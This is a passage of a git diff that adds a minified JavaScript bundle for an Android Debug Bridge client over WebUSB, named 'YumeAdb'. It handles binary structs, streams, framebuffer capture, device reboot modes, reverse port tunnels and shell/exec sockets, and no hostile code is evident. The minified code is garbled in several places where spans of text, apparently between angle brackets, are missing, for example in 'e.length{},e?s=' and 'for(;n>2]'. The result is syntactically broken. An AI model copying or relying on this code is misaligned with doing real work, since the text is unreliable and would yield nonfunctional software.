+ readFileAsBytes: readFileAsBytes, + readFileAsText: readFileAsText, + downloadBlob: downloadBlob, + }; +})(); diff --git a/web/static/js/lib/adb-bundle.js b/web/static/js/lib/adb-bundle.js new file mode 100644 index 0000000..537d01f --- /dev/null +++ b/web/static/js/lib/adb-bundle.js @@ -0,0 +1,6 @@ +var YumeAdb=(()=>{var ft=Object.defineProperty;var Dr=Object.getOwnPropertyDescriptor;var zr=Object.getOwnPropertyNames;var Wr=Object.prototype.hasOwnProperty;var zt=(r,e)=>{for(var t in e)ft(r,t,{get:e[t],enumerable:!0})},_r=(r,e,t,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of zr(e))!Wr.call(r,i)&&i!==t&&ft(r,i,{get:()=>e[i],enumerable:!(n=Dr(e,i))||n.enumerable});return r};var qr=r=>_r(ft({},"__esModule",{value:!0}),r);var Ln={};zt(Ln,{Adb:()=>rt,AdbDaemonTransport:()=>dt,AdbDaemonWebUsbDevice:()=>q,AdbDaemonWebUsbDeviceManager:()=>mt});var u=class{#e;get promise(){return this.#e}#t;#r;#n="running";get state(){return this.#n}constructor(){this.#e=new Promise((e,t)=>{this.#t=e,this.#r=t})}resolve=e=>{this.#t(e),this.#n="resolved"};reject=e=>{this.#r(e),this.#n="rejected"}};var Se=class{nextId;pendingResolvers=new Map;constructor(e=0){this.nextId=e}add(){let e=this.nextId++,t=new u;return this.pendingResolvers.set(e,t),[e,t.promise]}getResolver(e){if(!this.pendingResolvers.has(e))return null;let t=this.pendingResolvers.get(e);return this.pendingResolvers.delete(e),t}resolve(e,t){let n=this.getResolver(e);return n!==null?(n.resolve(t),!0):!1}reject(e,t){let n=this.getResolver(e);return n!==null?(n.reject(t),!0):!1}};function Wt(r){return new Promise(e=>{globalThis.setTimeout(()=>e(),r)})}function he(r){return typeof r=="object"&&r!==null&&"then"in r}function yt(r,e){for(;;){let{done:t,value:n}=r.next(e);if(t)return n;if(he(n))return n.then(i=>yt(r,{resolved:i}),i=>yt(r,{error:i}));e=n}}function te(r,e){function t(...n){let i=r.call(this,function*(s){if(he(s)){let o=yield s;if("resolved"in o)return o.resolved;throw o.error}return s},...n);return yt(i,void 0)}return e?t.bind(e):t}function _t(r){return(e,t)=>{if("buffer"in t){let n=r(e,t);return t.buffer.set(n,t.index),n.length}else return r(e,t)}}function qt(r,e){return(t,n)=>{if("buffer"in n)return n.index??=0,e(t,n),r;{let i=new Uint8Array(r);return e(t,{buffer:i,index:0,littleEndian:n.littleEndian}),i}}}function Mr(r,e,t,n,i){let s={size:r,type:e,serialize:e==="default"?_t(t):qt(r,t),deserialize:te(n),omitInit:i==null?void 0:i.omitInit};return i!=null&&i.init&&(s.init=i.init),s}var G=Mr;var w=new Uint8Array(0);function Or(r,e,t,n){e.length{},e?s=function*(){return e.convert(w)}:s=function*(){return w}):(i=(a,{buffer:c,index:l})=>Or(c,a,l,r),e?(s=function*(a,c){let l=c.readExactly(r);return e.convert(yield*a(l))},o=a=>e.back(a)):s=function*(a,c){return c.readExactly(r)}),G(r,"byob",i,s,{init:o})}if((typeof r=="object"||typeof r=="function")&&"serialize"in r){let i,s;return e?(i=function*(o,a,c){let l=yield*o(r.deserialize(a,c)),h=l!==0?a.readExactly(l):w;return e.convert(yield*o(h))},s=o=>e.back(o)):i=function*(o,a,c){let l=yield*o(r.deserialize(a,c));return l!==0?a.readExactly(l):w},G(r.size,"default",(o,{littleEndian:a})=>{if(r.type==="default"){let c=r.serialize(o.length,{littleEndian:a});if(o.length===0)return c;let l=new Uint8Array(c.length+o.length);return l.set(c,0),l.set(o,c.length),l}else{let c=new Uint8Array(r.size+o.length);return r.serialize(o.length,{buffer:c,index:0,littleEndian:a}),c.set(o,r.size),c}},i,{init:s})}if(typeof r=="string"){let i,s;return e?(i=function*(o,a,{dependencies:c}){let l=c[r],h=l!==0?a.readExactly(l):w;return e.convert(yield*o(h))},s=(o,a)=>{let c=e.back(o);return a[r]=c.length,c}):(i=function*(o,a,{dependencies:c}){let l=c[r];return l!==0?a.readExactly(l):w},s=(o,a)=>{let c=o;return a[r]=c.length,c}),G(0,"default",o=>o,i,{init:s})}let t,n;return e?(t=function*(i,s,{dependencies:o}){let a=o[r.field],c=r.convert(a),l=c!==0?s.readExactly(c):w;return e.convert(yield*i(l))},n=(i,s)=>{let o=e.back(i);return s[r.field]=r.back(o.length),o}):(t=function*(i,s,{dependencies:o}){let a=o[r.field],c=r.convert(a);return c!==0?s.readExactly(c):w},n=(i,s)=>{let o=i;return s[r.field]=r.back(o.length),o}),G(0,"default",i=>i,t,{init:n})}var W=class extends Error{constructor(){super("ExactReadable ended")}},ge=class{#e;#t;get position(){return this.#t}constructor(e){this.#e=e,this.#t=0}readExactly(e){if(this.#t+e>this.#e.length)throw new W;let t=this.#e.subarray(this.#t,this.#t+e);return this.#t+=e,t}};var Ee=class extends Error{constructor(e){super(e)}},xt=class extends Ee{constructor(){super("The underlying readable was ended before the struct was fully deserialized")}},H=class extends Ee{constructor(){super("The underlying readable doesn't contain any more struct")}};function f(r,e){let t=Object.entries(r),n=0,i=!0;for(let[,a]of t)n+=a.size,i&&a.type!=="byob"&&(i=!1);let s=e.littleEndian,o=e.extra?Object.getOwnPropertyDescriptors(e.extra):void 0;return{littleEndian:s,fields:r,extra:e.extra,type:i?"byob":"default",size:n,serialize(a,c){var le;let l={...a};for(let[p,v]of t)if(p in l&&"init"in v){let de=(le=v.init)==null?void 0:le.call(v,l[p],l);l[p]=de}let h=new Array(t.length),T=new Array(t.length);{let p={littleEndian:s};for(let[v,[de,wt]]of t.entries())wt.type==="byob"?h[v]=wt.size:(T[v]=wt.serialize(l[de],p),h[v]=T[v].length)}let B=h.reduce((p,v)=>p+v,0),M,U,O;if(c instanceof Uint8Array){if(c.length>8,r[e+2]=t>>16,r[e+3]=t>>24):(r[e]=t>>24,r[e+1]=t>>16,r[e+2]=t>>8,r[e+3]=t)}function Vt(r,e,t){r[e]=Number(t&0xffn),r[e+1]=Number(t>>8n&0xffn),r[e+2]=Number(t>>16n&0xffn),r[e+3]=Number(t>>24n&0xffn),r[e+4]=Number(t>>32n&0xffn),r[e+5]=Number(t>>40n&0xffn),r[e+6]=Number(t>>48n&0xffn),r[e+7]=Number(t>>56n&0xffn)}function jt(r,e,t){r[e]=Number(t>>56n&0xffn),r[e+1]=Number(t>>48n&0xffn),r[e+2]=Number(t>>40n&0xffn),r[e+3]=Number(t>>32n&0xffn),r[e+4]=Number(t>>24n&0xffn),r[e+5]=Number(t>>16n&0xffn),r[e+6]=Number(t>>8n&0xffn),r[e+7]=Number(t&0xffn)}function re(r,e){return(r[e]|r[e+1]<<8|r[e+2]<<16|r[e+3]<<24)>>>0}function Ft(r,e,t){return t?(r[e]|r[e+1]<<8|r[e+2]<<16|r[e+3]<<24)>>>0:(r[e]<<24|r[e+1]<<16|r[e+2]<<8|r[e+3])>>>0}function $t(r,e,t){r[e]=t,r[e+1]=t>>8,r[e+2]=t>>16,r[e+3]=t>>24}function Kt(r,e,t,n){n?(r[e]=t,r[e+1]=t>>8,r[e+2]=t>>16,r[e+3]=t>>24):(r[e]=t>>24,r[e+1]=t>>16,r[e+2]=t>>8,r[e+3]=t)}function Gt(r,e){return BigInt(r[e])<<56n|BigInt(r[e+1])<<48n|BigInt(r[e+2])<<40n|BigInt(r[e+3])<<32n|BigInt(r[e+4])<<24n|BigInt(r[e+5])<<16n|BigInt(r[e+6])<<8n|BigInt(r[e+7])}function Ht(r,e,t){return t?BigInt(r[e])|BigInt(r[e+1])<<8n|BigInt(r[e+2])<<16n|BigInt(r[e+3])<<24n|BigInt(r[e+4])<<32n|BigInt(r[e+5])<<40n|BigInt(r[e+6])<<48n|BigInt(r[e+7])<<56n:BigInt(r[e])<<56n|BigInt(r[e+1])<<48n|BigInt(r[e+2])<<40n|BigInt(r[e+3])<<32n|BigInt(r[e+4])<<24n|BigInt(r[e+5])<<16n|BigInt(r[e+6])<<8n|BigInt(r[e+7])}function Yt(r,e,t,n){n?(r[e]=Number(t&0xffn),r[e+1]=Number(t>>8n&0xffn),r[e+2]=Number(t>>16n&0xffn),r[e+3]=Number(t>>24n&0xffn),r[e+4]=Number(t>>32n&0xffn),r[e+5]=Number(t>>40n&0xffn),r[e+6]=Number(t>>48n&0xffn),r[e+7]=Number(t>>56n&0xffn)):(r[e]=Number(t>>56n&0xffn),r[e+1]=Number(t>>48n&0xffn),r[e+2]=Number(t>>40n&0xffn),r[e+3]=Number(t>>32n&0xffn),r[e+4]=Number(t>>24n&0xffn),r[e+5]=Number(t>>16n&0xffn),r[e+6]=Number(t>>8n&0xffn),r[e+7]=Number(t&0xffn))}function Ie(r,e,t){let n=()=>n;return Object.assign(n,G(r,"byob",e,t)),n}var Zt=Ie(1,(r,{buffer:e,index:t})=>{e[t]=r},function*(r,e){return(yield*r(e.readExactly(1)))[0]});var d=Ie(4,(r,{buffer:e,index:t,littleEndian:n})=>{Kt(e,t,r,n)},function*(r,e,{littleEndian:t}){let n=yield*r(e.readExactly(4));return Ft(n,0,t)}),Xt=Ie(4,(r,{buffer:e,index:t,littleEndian:n})=>{Ot(e,t,r,n)},function*(r,e,{littleEndian:t}){let n=yield*r(e.readExactly(4));return Mt(n,0,t)}),Z=Ie(8,(r,{buffer:e,index:t,littleEndian:n})=>{Yt(e,t,r,n)},function*(r,e,{littleEndian:t}){let n=yield*r(e.readExactly(8));return Ht(n,0,t)});var{TextEncoder:Vr,TextDecoder:jr}=globalThis,Fr=new Vr,$r=new jr;function C(r){return Fr.encode(r)}function D(r){return $r.decode(r)}var V=r=>{let e=P(r,{convert:D,back:C});return e.as=()=>e,e};var{AbortController:j}=globalThis,E=(()=>{let{ReadableStream:r}=globalThis;return r.from||(r.from=function(e){let t=Symbol.asyncIterator in e?e[Symbol.asyncIterator]():e[Symbol.iterator]();return new r({async pull(n){let i=await t.next();if(i.done){n.close();return}n.enqueue(i.value)},async cancel(n){var i;await((i=t.return)==null?void 0:i.call(t,n))}})}),(!r.prototype[Symbol.asyncIterator]||!r.prototype.values)&&(r.prototype.values=async function*(e){let t=this.getReader();try{for(;;){let{done:n,value:i}=await t.read();if(n)return;yield i}}finally{e!=null&&e.preventCancel||await t.cancel(),t.releaseLock()}},r.prototype[Symbol.asyncIterator]=r.prototype.values),r})(),{WritableStream:m,TransformStream:Ae}=globalThis;var k=class extends E{constructor(e,t,n){let i,s=!1,o=new j;super({start:a=>{let c=e({abortSignal:o.signal,enqueue:async l=>{if(n==null||n({source:"producer",operation:"enqueue",value:l,phase:"start"}),o.signal.aborted){n==null||n({source:"producer",operation:"enqueue",value:l,phase:"ignored"});return}if(a.desiredSize===null){a.enqueue(l);return}if(s){s=!1,a.enqueue(l),n==null||n({source:"producer",operation:"enqueue",value:l,phase:"complete"});return}if(a.desiredSize<=0&&(n==null||n({source:"producer",operation:"enqueue",value:l,phase:"waiting"}),i=new u,await i.promise,o.signal.aborted)){n==null||n({source:"producer",operation:"enqueue",value:l,phase:"ignored"});return}a.enqueue(l),n==null||n({source:"producer",operation:"enqueue",value:l,phase:"complete"})},close(){if(n==null||n({source:"producer",operation:"close",explicit:!0,phase:"start"}),o.signal.aborted){n==null||n({source:"producer",operation:"close",explicit:!0,phase:"ignored"});return}a.close(),n==null||n({source:"producer",operation:"close",explicit:!0,phase:"complete"})},error(l){n==null||n({source:"producer",operation:"error",explicit:!0,phase:"start"}),a.error(l),n==null||n({source:"producer",operation:"error",explicit:!0,phase:"complete"})}});c&&"then"in c&&c.then(()=>{n==null||n({source:"producer",operation:"close",explicit:!1,phase:"start"});try{a.close(),n==null||n({source:"producer",operation:"close",explicit:!1,phase:"complete"})}catch{n==null||n({source:"producer",operation:"close",explicit:!1,phase:"ignored"})}},l=>{n==null||n({source:"producer",operation:"error",explicit:!1,phase:"start"}),a.error(l),n==null||n({source:"producer",operation:"error",explicit:!1,phase:"complete"})})},pull:()=>{n==null||n({source:"consumer",operation:"pull",phase:"start"}),i?i.resolve():(t==null?void 0:t.highWaterMark)===0&&(s=!0),n==null||n({source:"consumer",operation:"pull",phase:"complete"})},cancel:a=>{n==null||n({source:"consumer",operation:"cancel",phase:"start"}),o.abort(a),i==null||i.resolve(),n==null||n({source:"consumer",operation:"cancel",phase:"complete"})}},t)}};function Qt(r){try{return r.close(),!0}catch{return!1}}async function Jt(r){try{return await r.cancel(),!0}catch{return!1}}var z=class{#e;#t=0;#r=0;#n=0;get position(){return this.#n}stream;reader;constructor(e){this.stream=e,this.reader=e.getReader()}#i(e){if(!this.#e)return;let t=this.#e.subarray(this.#t,this.#t+e);return this.#r>e?(this.#n+=e,this.#t+=e,this.#r-=e,t):(this.#n+=this.#r,this.#e=void 0,this.#t=0,this.#r=0,t)}async#s(e){let{done:t,value:n}=await this.reader.read();if(t)throw new W;return n.length>e?(this.#e=n,this.#t=e,this.#r=n.length-e,this.#n+=e,n.subarray(0,e)):(this.#n+=n.length,n)}iterateExactly(e){let t=this.#e?0:1;return{next:()=>{switch(t){case 0:{let n=this.#i(e);return n.length===e?t=2:(e-=n.length,t=1),{done:!1,value:n}}case 1:return t=3,{done:!1,value:this.#s(e).then(n=>(n.length===e?t=2:(e-=n.length,t=1),n))};case 2:return{done:!0,value:void 0};case 3:throw new Error("Can't call `next` before previous Promise resolves");default:throw new Error("unreachable")}}}}readExactly=te(function*(e,t){let n,i=0,s=this.#i(t);if(s){if(s.length===t)return s;n=new Uint8Array(t),n.set(s,i),i+=s.length,t-=s.length}else n=new Uint8Array(t);for(;t>0;){let o=yield*e(this.#s(t));n.set(o,i),i+=o.length,t-=o.length}return n});release(){return this.#r>0?new k(async e=>{let t=this.#e.subarray(this.#t);for(await e.enqueue(t),e.abortSignal.addEventListener("abort",()=>{Jt(this.reader)});;){let{done:n,value:i}=await this.reader.read();if(n)return;await e.enqueue(i)}}):(this.reader.releaseLock(),this.stream)}async cancel(e){await this.reader.cancel(e)}};var ve=class{#e;get readable(){return this.#e}#t;get writable(){return this.#t}constructor(e){let t,n,i=new z(new k(s=>{t=s}));this.#e=new E({async pull(s){try{let o=await e(i);s.enqueue(o)}catch(o){if(o instanceof H){s.close();return}throw o}},cancel:s=>n.error(s)}),this.#t=new m({start(s){n=s},async write(s){await t.enqueue(s)},abort(){t.close()},close(){t.close()}})}};var _=class{#e="";#t=new u;#r=new m({write:e=>{this.#e+=e},close:()=>{this.#t.resolve(this.#e),this.#n.enqueue(this.#e),this.#n.close()},abort:e=>{this.#t.reject(e),this.#n.error(e)}});get writable(){return this.#r}#n;#i=new E({start:e=>{this.#n=e}});get readable(){return this.#i}constructor(){Object.defineProperties(this.#i,{then:{get:()=>this.#t.promise.then.bind(this.#t.promise)},catch:{get:()=>this.#t.promise.catch.bind(this.#t.promise)},finally:{get:()=>this.#t.promise.finally.bind(this.#t.promise)}})}},X=class{#e=[];#t=new u;#r=new m({write:e=>{this.#e.push(e)},close:()=>{let e,t=0;switch(this.#e.length){case 0:e=w;break;case 1:e=this.#e[0];break;default:e=new Uint8Array(this.#e.reduce((n,i)=>n+i.length,0));for(let n of this.#e)e.set(n,t),t+=n.length;break}this.#t.resolve(e),this.#n.enqueue(e),this.#n.close()},abort:e=>{this.#t.reject(e),this.#n.error(e)}});get writable(){return this.#r}#n;#i=new E({start:e=>{this.#n=e}});get readable(){return this.#i}constructor(){Object.defineProperties(this.#i,{then:{get:()=>this.#t.promise.then.bind(this.#t.promise)},catch:{get:()=>this.#t.promise.catch.bind(this.#t.promise)},finally:{get:()=>this.#t.promise.finally.bind(this.#t.promise)}})}};var ne=class r extends E{static async enqueue(e,t){let n=new y(t);e.enqueue(n),await n.consumed}constructor(e,t){let n,i;t&&(i={},"highWaterMark"in t&&(i.highWaterMark=t.highWaterMark),"size"in t&&(i.size=s=>t.size(s.value))),super({start(s){var o;return n={enqueue(a){return r.enqueue(s,a)},close(){s.close()},error(a){s.error(a)}},(o=e.start)==null?void 0:o.call(e,n)},pull(){var s;return(s=e.pull)==null?void 0:s.call(e,n)},cancel(s){var o;return(o=e.cancel)==null?void 0:o.call(e,s)}},i)}};var Ce=class extends E{constructor(e,t,n){let i=e.getReader({mode:"byob"}),s=new Uint8Array(t);super({async pull(o){let{done:a,value:c}=await i.read(s,{min:n});if(a){o.close();return}await ne.enqueue(o,c),s=new Uint8Array(c.buffer)},cancel(o){return i.cancel(o)}})}};var Re=class extends m{constructor(e){let t=e.getWriter();super({write(n){return n.tryConsume(i=>t.write(i))},abort(n){return t.abort(n)},close(){return t.close()}})}};var Ne=class extends m{static async write(e,t){let n=new y(t);await e.write(n),await n.consumed}constructor(e,t){let n;t&&(n={},"highWaterMark"in t&&(n.highWaterMark=t.highWaterMark),"size"in t&&(n.size=i=>t.size(i instanceof y?i.value:i))),super({start(i){var s;return(s=e.start)==null?void 0:s.call(e,i)},write(i,s){return i.tryConsume(o=>{var a;return(a=e.write)==null?void 0:a.call(e,o,s)})},abort(i){var s;return(s=e.abort)==null?void 0:s.call(e,i)},close(){var i;return(i=e.close)==null?void 0:i.call(e)}},n)}};var{console:Te}=globalThis,er=(()=>{var r;return((r=Te==null?void 0:Te.createTask)==null?void 0:r.bind(Te))??(()=>({run(e){return e()}}))})();var y=class{static WritableStream=Ne;static WrapWritableStream=Re;static ReadableStream=ne;static WrapByteReadableStream=Ce;#e;#t;value;consumed;constructor(e){this.#e=er("Consumable"),this.value=e,this.#t=new u,this.consumed=this.#t.promise}consume(){this.#t.resolve()}error(e){this.#t.reject(e)}tryConsume(e){try{let t=this.#e.run(()=>e(this.value));return he(t)?t=t.then(n=>(this.#t.resolve(),n),n=>{throw this.#t.reject(n),n}):this.#t.resolve(),t}catch(t){throw this.#t.reject(t),t}}};var I={};zt(I,{WrapWritableStream:()=>ke,WritableStream:()=>Be,getValue:()=>Kr,tryConsume:()=>ue});function Kr(r){return r instanceof y?r.value:r}function ue(r,e){return r instanceof y?r.tryConsume(e):e(r)}var ke=class extends m{constructor(e){let t=e.getWriter();super({write(n){return ue(n,i=>t.write(i))},abort(n){return t.abort(n)},close(){return t.close()}})}};var Be=class extends m{constructor(e,t){let n;t&&(n={},"highWaterMark"in t&&(n.highWaterMark=t.highWaterMark),"size"in t&&(n.size=i=>t.size(i instanceof y?i.value:i))),super({start(i){var s;return(s=e.start)==null?void 0:s.call(e,i)},write(i,s){return ue(i,o=>{var a;return(a=e.write)==null?void 0:a.call(e,o,s)})},abort(i){var s;return(s=e.abort)==null?void 0:s.call(e,i)},close(){var i;return(i=e.close)==null?void 0:i.call(e)}},n)}};var pe=class{#e;#t;#r;#n;constructor(e){this.#e=e,this.#t=new Uint8Array(e),this.#r=0,this.#n=e}*push(e){let t=0,n=e.length;if(this.#r!==0)if(n>=this.#n){if(this.#t.set(e.subarray(0,this.#n),this.#r),t+=this.#n,n-=this.#n,yield this.#t,this.#r=0,this.#n=this.#e,n===0)return}else{this.#t.set(e,this.#r),this.#r+=n,this.#n-=n;return}for(;n>=this.#e;){let i=t+this.#e;yield e.subarray(t,i),t=i,n-=this.#e}n>0&&(this.#t.set(e.subarray(t),this.#r),this.#r+=n,this.#n-=n)}flush(){if(this.#r===0)return;let e=this.#t.subarray(0,this.#r);return this.#r=0,this.#n=this.#e,e}},Pe=class extends Ae{constructor(e,t=!1){let n=t?new pe(e):void 0;super({async transform(i,s){await I.tryConsume(i,async o=>{if(n)for(let a of n.push(o))await y.ReadableStream.enqueue(s,a);else{let a=0,c=o.length;for(;c>0;){let l=a+e;await y.ReadableStream.enqueue(s,o.subarray(a,l)),a=l,c-=e}}})},flush(i){if(n){let s=n.flush();s&&i.enqueue(s)}}})}};function Gr(r,e){return"start"in r?r.start(e):typeof r=="function"?r(e):r}var Le=class extends E{readable;#e;constructor(e,t){super({start:async n=>{let i=await Gr(e,n);this.readable=i,this.#e=this.readable.getReader()},pull:async n=>{var o;let{done:i,value:s}=await this.#e.read().catch(a=>{throw"error"in e&&e.error(a),a});i?(n.close(),"close"in e&&await((o=e.close)==null?void 0:o.call(e))):n.enqueue(s)},cancel:async n=>{var i;await this.#e.cancel(n),"cancel"in e&&await((i=e.cancel)==null?void 0:i.call(e,n))}},t)}};var tr=()=>{},Ue=class{#e=[];#t=[];#r=!1;get writableClosed(){return this.#r}#n=new u;get closed(){return this.#n.promise}#i;constructor(e){this.#i=e??{}}wrapReadable(e,t){return new Le({start:n=>(this.#e.push(n),e),cancel:async()=>{await this.close()},close:async()=>{await this.dispose()}},t)}createWritable(e){let t=e.getWriter();return this.#t.push(t),new m({write:async n=>{await t.write(n)},abort:async n=>{await t.abort(n),await this.close()},close:async()=>{await t.close().catch(tr),await this.close()}})}async close(){var e,t;if(!this.#r){this.#r=!0,await((t=(e=this.#i).close)==null?void 0:t.call(e))!==!1&&await this.dispose();for(let n of this.#t)n.close().catch(tr)}}async dispose(){var e,t;this.#r=!0,this.#n.resolve();for(let n of this.#e)Qt(n);await((t=(e=this.#i).dispose)==null?void 0:t.call(e))}};var rr=globalThis,Q=rr.TextDecoderStream,Ns=rr.TextEncoderStream;function nr(r,e){let t=e.writable.getWriter(),n=e.readable.pipeTo(r);return new m({async write(i){await t.write(i)},async close(){await t.close(),await n}})}var ie=class extends ve{constructor(e){super(t=>e.deserialize(t))}};var De=class{#e=[];constructor(){this.dispose=this.dispose.bind(this)}addDisposable(e){return this.#e.push(e),e}dispose(){for(let e of this.#e)e.dispose();this.#e=[]}};var J=class{listeners=[];constructor(){this.event=this.event.bind(this)}addEventListener(e){this.listeners.push(e);let t=()=>{let n=this.listeners.indexOf(e);n!==-1&&this.listeners.splice(n,1)};return t.dispose=t,t}event=(e,t,...n)=>{let i={listener:e,thisArg:t,args:n};return this.addEventListener(i)};fire(e){for(let t of this.listeners.slice())t.listener.call(t.thisArg,e,...t.args)}dispose(){this.listeners.length=0}};var ir=Symbol("undefined"),ze=class extends J{#e=ir;addEventListener(e){return this.#e!==ir&&e.listener.call(e.thisArg,this.#e,...e.args),super.addEventListener(e)}fire(e){this.#e=e,super.fire(e)}};var F=class extends De{#e;get adb(){return this.#e}constructor(e){super(),this.#e=e}};var Hr=f({version:d},{littleEndian:!0}),Yr=f({bpp:d,size:d,width:d,height:d,red_offset:d,red_length:d,blue_offset:d,blue_length:d,green_offset:d,green_length:d,alpha_offset:d,alpha_length:d,data:P("size")},{littleEndian:!0}),Zr=f({bpp:d,colorSpace:d,size:d,width:d,height:d,red_offset:d,red_length:d,blue_offset:d,blue_length:d,green_offset:d,green_length:d,alpha_offset:d,alpha_length:d,data:P("size")},{littleEndian:!0}),We=class extends Error{constructor(e,t){super(e,t)}},bt=class extends We{constructor(e){super(`Unsupported FrameBuffer version ${e}`)}},St=class extends We{constructor(){super("FrameBuffer is disabled by current app")}};async function sr(r){let e=await r.createSocket("framebuffer:"),t=new z(e.readable),n;try{({version:n}=await Hr.deserialize(t))}catch(i){throw i instanceof H?new St:i}switch(n){case 1:return await Yr.deserialize(t);case 2:return await Zr.deserialize(t);default:throw new bt(n)}}var _e=class extends F{reboot(e=""){return this.adb.createSocketAndWait(`reboot:${e}`)}bootloader(){return this.reboot("bootloader")}fastboot(){return this.reboot("fastboot")}recovery(){return this.reboot("recovery")}sideload(){return this.reboot("sideload")}qualcommEdlMode(){return this.reboot("edl")}powerOff(){return this.adb.subprocess.noneProtocol.spawnWaitText(["reboot","-p"])}powerButton(e=!1){let t=["input","keyevent"];return e&&t.push("--longpress"),t.push("POWER"),this.adb.subprocess.noneProtocol.spawnWaitText(t)}samsungOdin(){return this.reboot("download")}};function or(r){if(r.buffer instanceof ArrayBuffer)return r;let e=new Uint8Array(r.length);return e.set(r),e}var me=class{#e;#t=[];constructor(e=!1){this.#e=e}wait(){if(!this.#e&&(this.#e=!0,this.#t.length===0))return Promise.resolve();let e=new u;return this.#t.push(e),e.promise}notifyOne(){this.#t.length!==0?this.#t.pop().resolve():this.#e=!1}dispose(){for(let e of this.#t)e.reject(new Error("The AutoResetEvent has been disposed"));this.#t.length=0}};var[Hs,g,se]=(()=>{let r=[],e=[];function n(i,s){let o=i.charCodeAt(0),a=s.charCodeAt(0);for(let c=o;c<=a;c+=1)r[c]=e.length,e.push(c)}return n("A","Z"),n("a","z"),n("0","9"),n("+","+"),n("/","/"),[r,e,61]})();function Et(r){let e=r%3,t=e!==0?3-e:0;return[(r+t)/3*4,t]}function ar(r,e){let[t,n]=Et(r.length);if(e){if(e.length=r.byteOffset-1)Xr(r,e,n);else throw new TypeError("input and output cannot overlap");return t}else return e=new Uint8Array(t),gt(r,e,n),e}function gt(r,e,t){let n=0,i=0;for(;n>2],i+=1,e[i]=g[(s&3)<<4|o>>4],i+=1,e[i]=g[(o&15)<<2|a>>6],i+=1,e[i]=g[a&63],i+=1}if(t===2){let s=r[n];n+=1,e[i]=g[s>>2],i+=1,e[i]=g[(s&3)<<4],i+=1,e[i]=se,i+=1,e[i]=se}else if(t===1){let s=r[n];n+=1;let o=r[n];n+=1,e[i]=g[s>>2],i+=1,e[i]=g[(s&3)<<4|o>>4],i+=1,e[i]=g[(o&15)<<2],i+=1,e[i]=se}}function Xr(r,e,t){let n=r.length-1,i=e.length-1;if(t===2){let s=r[n];n-=1,e[i]=se,i-=1,e[i]=se,i-=1,e[i]=g[(s&3)<<4],i-=1,e[i]=g[s>>2],i-=1}else if(t===1){let s=r[n];n-=1;let o=r[n];n-=1,e[i]=se,i-=1,e[i]=g[(s&15)<<2],i-=1,e[i]=g[(o&3)<<4|s>>4],i-=1,e[i]=g[o>>2],i-=1}for(;n>=0;){let s=r[n];n-=1;let o=r[n];n-=1;let a=r[n];n-=1,e[i]=g[s&63],i-=1,e[i]=g[(o&15)<<2|s>>6],i-=1,e[i]=g[(a&3)<<4|o>>4],i-=1,e[i]=g[a>>2],i-=1}}function Qr(r){if(r<48)throw new TypeError(`Invalid hex char ${r}`);if(r<58)return r-48;if(r<65)throw new TypeError(`Invalid hex char ${r}`);if(r<71)return r-55;if(r<97)throw new TypeError(`Invalid hex char ${r}`);if(r<103)return r-87;throw new TypeError(`Invalid hex char ${r}`)}function cr(r){let e=0;for(let t=0;t{};function qe(...r){throw new Error(`Unreachable. Arguments: +`+r.join(` +`))}function dr(r,e){if(r.length!==e.length)return!1;for(let t=0;t57)return e;e=e*10+t-48}return e}var tn=C("OKAY"),Oe=class extends F{#e=new Map;async createBufferedStream(e){let t=await this.adb.createSocket(e);return new z(t.readable)}async sendRequest(e){let t=await this.createBufferedStream(e),n=await t.readExactly(4);return dr(n,tn)||await Jr.deserialize(t),t}async list(){let e=await this.createBufferedStream("reverse:list-forward");return(await hr.deserialize(e)).content.split(` +`).filter(n=>!!n).map(n=>{let[i,s,o]=n.split(" ");return{deviceSerial:i,localName:s,remoteName:o}})}async addExternal(e,t){let n=await this.sendRequest(`reverse:forward:${e};${t}`);if(e.startsWith("tcp:")){let i=n.position;try{let s=cr(await n.readExactly(4));e=`tcp:${en(await n.readExactly(s))}`}catch(s){if(!(s instanceof W&&n.position===i))throw s}}return e}async add(e,t,n){n=await this.adb.transport.addReverseTunnel(t,n);try{return e=await this.addExternal(e,n),this.#e.set(e,n),e}catch(i){throw await this.adb.transport.removeReverseTunnel(n),i}}async remove(e){let t=this.#e.get(e);t&&await this.adb.transport.removeReverseTunnel(t),await this.sendRequest(`reverse:killforward:${e}`)}async removeAll(){await this.adb.transport.clearReverseTunnels(),this.#e.clear(),await this.sendRequest("reverse:killforward-all")}};var Ve=class{#e;get stdin(){return this.#e.writable}get output(){return this.#e.readable}#t;get exited(){return this.#t}constructor(e,t){if(this.#e=e,t){let n=new u;this.#e.closed.then(()=>n.resolve(void 0),i=>n.reject(i)),t.addEventListener("abort",()=>{n.reject(t.reason),this.#e.close()}),this.#t=n.promise}else this.#t=this.#e.closed}kill(){return this.#e.close()}};var je=class{#e;#t;#r;get input(){return this.#r}get output(){return this.#e.readable}get exited(){return this.#e.closed}constructor(e){this.#e=e,this.#t=this.#e.writable.getWriter(),this.#r=new I.WritableStream({write:t=>this.#t.write(t)})}sigint(){return this.#t.write(new Uint8Array([3]))}kill(){return this.#e.close()}};function we(r){let e="";e+="'";let t=0;for(;;){let n=r.indexOf("'",t);if(n===-1){e+=r.substring(t);break}e+=r.substring(t,n),e+=String.raw`'\''`,t=n+1}return e+="'",e}function Fe(r){let e=[],t,n=!1,i=0;for(let s=0,o=r.length;s{let i=await this.#e.createSocket(`exec:${t.join(" ")}`);if(n!=null&&n.aborted)throw await i.close(),n.reason;return new Ve(i,n)}),this.#e=e}async pty(e){return e===void 0?e="":Array.isArray(e)&&(e=e.join(" ")),new je(await this.#e.createSocket(`shell:${e}`))}};var x={ShellV2:"shell_v2",Cmd:"cmd",StatV2:"stat_v2",ListV2:"ls_v2",FixedPushMkdir:"fixed_push_mkdir",Abb:"abb",AbbExec:"abb_exec",SendReceiveV2:"sendrecv_v2",DelayedAck:"delayed_ack"};var L={Stdin:0,Stdout:1,Stderr:2,Exit:3,CloseStdin:4,WindowSizeChange:5},$=f({id:Zt(),data:P(d)},{littleEndian:!0});var Ge=class{#e;#t;#r;get stdin(){return this.#r}#n;get stdout(){return this.#n}#i;get stderr(){return this.#i}#s;get exited(){return this.#s}constructor(e,t){this.#e=e;let n,i;this.#n=new k(o=>{n=o}),this.#i=new k(o=>{i=o});let s=new u;this.#s=s.promise,e.readable.pipeThrough(new ie($)).pipeTo(new m({write:async o=>{switch(o.id){case L.Exit:s.resolve(o.data[0]);break;case L.Stdout:await n.enqueue(o.data);break;case L.Stderr:await i.enqueue(o.data);break;default:break}}})).then(()=>{n.close(),i.close(),s.reject(new Error("Socket ended without exit 